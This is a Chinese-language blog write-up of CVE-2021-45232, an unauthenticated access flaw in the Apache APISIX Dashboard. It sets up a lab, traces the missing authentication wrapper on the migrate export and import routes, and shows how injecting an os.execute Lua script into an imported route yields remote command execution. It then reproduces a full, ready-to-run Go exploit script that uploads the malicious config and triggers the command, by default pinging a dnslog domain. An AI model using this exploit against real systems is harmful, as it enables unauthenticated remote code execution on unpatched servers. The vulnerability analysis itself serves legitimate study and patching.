CVE-2021-45232 Apache APISIX Dashboard Unauthorized Access Vulnerability

警告
本文最后更新于 2021-12-28,文中内容可能已过时。

# 搭建环境

安装docker和docker-compose,然后

1
git clone https://github.com/apache/apisix-docker

修改 /home/ubuntu/apisix-docker/example/docker-compose.yml 文件,改一个老版本。

image.png

然后 docker-compose -p docker-apisix up -d

image.png

默认会起几个服务,9000端口是Dashboard,9080是endpoint。

# 漏洞分析

根据官方公告Apache的list

In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework droplet on the basis of framework gin, all APIs and authentication middleware are developed based on framework droplet, but some API directly use the interface of framework gin thus bypassing the authentication.

可知漏洞产生原因为该用gin的用了droplet框架,然后导致某些api没鉴权。

看下GitHub的diff

authentication.go文件的逻辑用gin框架重写了。

看下在哪用到的,go程序入口都在main.go文件中,该项目用到了cobra库,所以在api/cmd/root.go中是真正程序启动的地方

image.png

这里调用了manageAPI函数

image.png

在该函数中,新建了一个server,然后进入Start函数,而Start函数所在的api/internal/core/server/server.go 有init初始化函数

image.png

在init函数中setupAPI初始化manage api

image.png

添加了几个默认的中间件,这里用到了AuthenticationMiddleware授权中间件。而这里添加的中间件要想在路由中过滤应该规范写法,来看一个正确的写法

比如 http://127.0.0.1:9000/apisix/admin/tool/version api/internal/handler/tool/tool.go:40

image.png

在应用路由的时候用到wgin.Wraps(h.Version)来包装函数,而在api/internal/handler/migrate/migrate.go:45中没进行包装,导致授权中间件不起作用。

所以两个api可以未授权访问

1
2
r.GET("/apisix/admin/migrate/export", h.ExportConfig)
r.POST("/apisix/admin/migrate/import", h.ImportConfig)

# 实际利用

根据官网文档来看,有一个Script功能 可以执行lua脚本。由此我们可以通过导出配置,然后修改配置加上一个script块再通过未授权接口覆盖导入。

先通过http://127.0.0.1:9000/apisix/admin/migrate/export 导出配置,然后加上"script": "os.execute('touch /tmp/a')"

image.png

然后重新计算下crc32附加到文件末尾导入,最后访问http://172.16.16.129:9080/rce 执行命令。

贴一个来自c26的一键梭哈脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

import (
	"bytes"
	"encoding/binary"
	"errors"
	"fmt"
	"hash/crc32"
	"io"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
)

var (
	checksumLength = 4 // 4 bytes (uint32)
	client         = &http.Client{}
)

func main() {
	url := "http://172.16.16.129:9000"
	gatewayUrl := "http://172.16.16.129:9080"
	cmd := "ping -nc1 apisix.dnslog.cn"
	exploit(url, gatewayUrl, cmd)
}

func exploit(url, gatewayUrl string, cmd string) {
	payload, err := gen(cmd)
	if err != nil {
		log.Fatal(err)
	}
	createRoute(payload, url)
	requestEndpoint(gatewayUrl)
}

func requestEndpoint(gatewayUrl string) {
	res, err := client.Get(gatewayUrl + "/rce")
	if err != nil {
		return
	}
	b, err := ioutil.ReadAll(res.Body)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(string(b))
}

func createRoute(payload []byte, url string) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	part, err := writer.CreateFormFile("file", "test")
	if err != nil {
		log.Fatal(err)
	}
	_, err = io.Copy(part, bytes.NewReader(payload))
	_ = writer.WriteField("mode", "overwrite")
	if err := writer.Close(); err != nil {
		log.Fatal(err)
	}

	req, err := http.NewRequest("POST", url+"/apisix/admin/migrate/import", body)
	if err != nil {
		log.Fatal(err)
	}
	req.Header.Add("Content-Type", writer.FormDataContentType())

	res, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}

	b, err := ioutil.ReadAll(res.Body)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(string(b))
}

func gen(cmd string) ([]byte, error) {
	data := []byte(fmt.Sprintf(`{"Counsumers":[],"Routes":[{"id":"387796883096994503","create_time":1640674554,"update_time":1640677637,"uris":["/rce"],"name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('%s')","script_id":"387796883096994503","upstream_id":"387796832866009799","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"387796832866009799","create_time":1640674524,"update_time":1640674524,"nodes":[{"host":"10.18.134.63","port":58344,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"testUpstream"}],"GlobalPlugins":[],"PluginConfigs":[]}`, cmd))

	checksumUint32 := crc32.ChecksumIEEE(data)
	checksum := make([]byte, checksumLength)
	binary.BigEndian.PutUint32(checksum, checksumUint32)
	content := append(data, checksum...)

	importData := content[:len(content)-4]
	checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
	if checksum2 != crc32.ChecksumIEEE(importData) {
		return nil, errors.New("Checksum check failure,maybe file broken")
	}

	return content, nil
}

实际利用应该按情况根据导出的配置修改data字符串,不然可能会把目标的endpoint打坏。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。